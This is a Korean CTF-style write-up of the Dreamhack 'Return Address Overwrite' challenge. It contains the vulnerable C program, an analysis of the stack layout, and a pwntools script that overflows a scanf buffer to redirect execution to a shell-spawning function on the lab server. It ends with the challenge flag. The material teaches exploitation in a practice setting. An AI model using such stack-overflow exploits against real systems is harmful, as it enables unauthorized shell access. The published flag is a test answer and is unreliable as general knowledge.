← 전체 Write-Up

Pwn / Dreamhack

Return Address Overwrite

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

실습 코드


// Name: rao.c
// Compile : gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
	char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
}

int main() {
	char buf[0x28];

    init();
    printf("Input: ");
    scanf("%s", buf);	// 취약점

    return 0;
}

분석

1. 취약점 분석

main 함수에서 scanf("%s", buf);를 보면 입력 길이에 제한 없이 입력을 받고 있다. 이 부분을 이용해 오버플로우 공격을 시도하면된다. 크기가 0x28 바이트인 버퍼에 입력을 받고 있기 때문에, 0x28 바이트 이상의 입력이 들어가면 버퍼 오버플로우 공격을 하여 main 함수의 return address 값을 덮을 수 있다.


2. 익스플로잇

스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 Return address를 덮으려면, 해당 스택 버퍼가 어느 위치에 저장되어있는지 알아야 한다.

Return Address Overwrite — 실습 화면 1

disass main 명령어로 main 함수를 까보면 함수 안 내용을 확인할 수 있는데, main의 어셈블리 코드에서 scanf 함수 부분을 의사코드로 표현하면 scanf("%s", rbp-0x30)가 된다. 스택 구조를 그려보면 다음과 같다.

Return Address Overwrite — 실습 화면 2

rbp 부터 rbp-0x30 까지 buf의 크기가 할당 되어있고, Stack Frame Pointer(SFP)의 크기는 8바이트 크기이므로 rbp+8의 주소에 위치한다. 반환 주소 값인 RET는 rbp+8 다음 주소에 위치한다. 따라서 Hexadecimal 값인 0x30과 0x8을 Decimal로 변환하면 각각 48과 8이 되는데, buf와 SFP에 dummy data로 덮어 씌우면 Return Address에 원하는 값으로 덮어 쓸 수 있게 된다. 그 역할을 하는 함수가 get_shell() 함수인데, 한번 확인 해보자.

get_shell

void get_shell() {
	char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
}

쉘을 실행 시켜주는 get_shell 함수가 있기 때문에, main 함수의 반환 주소를 get_shell로 덮어 씌운다면 셸을 따낼 수 있다. gdb로 get_shell 함수의 주소를 확인해보면 다음과 같다.

Return Address Overwrite — 실습 화면 3

확인 결과 get_shell 함수의 주소는 0x4006aa에 위치한 것을 알 수 있다.

payload 구성


익스플로잇을 위한 payload를 그림으로 구상해보면 다음과 같다.

Return Address Overwrite — 실습 화면 4


익스플로잇 코드

구상한 payload를 바탕으로 코드를 작성해보자

#!/usr/bin/python3
#Name: rao.py

from pwn import *

p = remote("host3.dreamhack.games", 23894)

e = ELF("./rao")

payload = b'A' * 0x38
payload += p64(e.symbols['get_shell'])

p.send(payload)

p.interactive()

코드 설명

from pwn import *

pwntools 모듈의 약자인 pwn이다. pwntools를 사용하겠다고 선언.

p = remote("host3.dreamhack.games", 23894)

remote 함수는 해당 주소의 원격 서버를 공격할 때 사용되는 함수다.

e = ELF("./rao")

"./rao" 경로에 위치한 ELF 파일을 로드한다. 이 파일은 보통 실행 가능 파일이나 공유 라이브러리 등이 될 수 있으며, 리버스 엔지니어링이나 익스플로잇 작성 시 분석 대상이 된다.

payload = b'A' * 0x38

위 코드 분석에서 확인했듯이 buf 크기인 0x30과 SFP 크기 0x8을 전부 덮으려면 0x38 크기만큼 dummy data로 채워넣어야 한다.

payload += p64(e.symbols['get_shell'])

p64 함수는 pwntools 라이브러리에 정의된 함수로, 인자로 받은 64비트 정수를 8바이트 길이의 리틀 엔디언 형식의 바이트 문자열로 변환한다. 리틀 엔디언은 낮은 메모리 주소에 최하위 바이트를 배치하는 방식을 말합니다.

e.symbols['get_shell']는 ELF(Executable and Linkable Format) 파일을 분석하여 get_shell이라는 함수의 주소를 찾는다. e 객체는 ELF("./rao")를 통해 생성되었으며, "./rao" 바이너리 파일 내에 정의된 심볼(함수명, 변수명 등) 정보에 접근할 수 있게 한다.

위 과정을 거쳐 get_shell 함수의 주소를 리틀 엔디언 형식으로 변환하여 기존 페이로드 뒤에 추가한다. 이렇게 하면 버퍼 오버플로우를 통해 Return Address를 조작할 때, get_shell 함수가 실행되도록 할 수 있다.

p.send(payload)

공격 할 원격 서버에 payload를 전송한다.

p.interactive()

쉘을 탈취한 경우 사용자 입력 전달, 서비스 출력 표시, 익스플로잇 후 상호작용 등의 기능을 수행한다.
이렇게 익스플로잇을 수행하면 다음과 같이 셸 권한을 탈취하면서 flag를 얻을 수 있다.

Return Address Overwrite — 실습 화면 5

DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처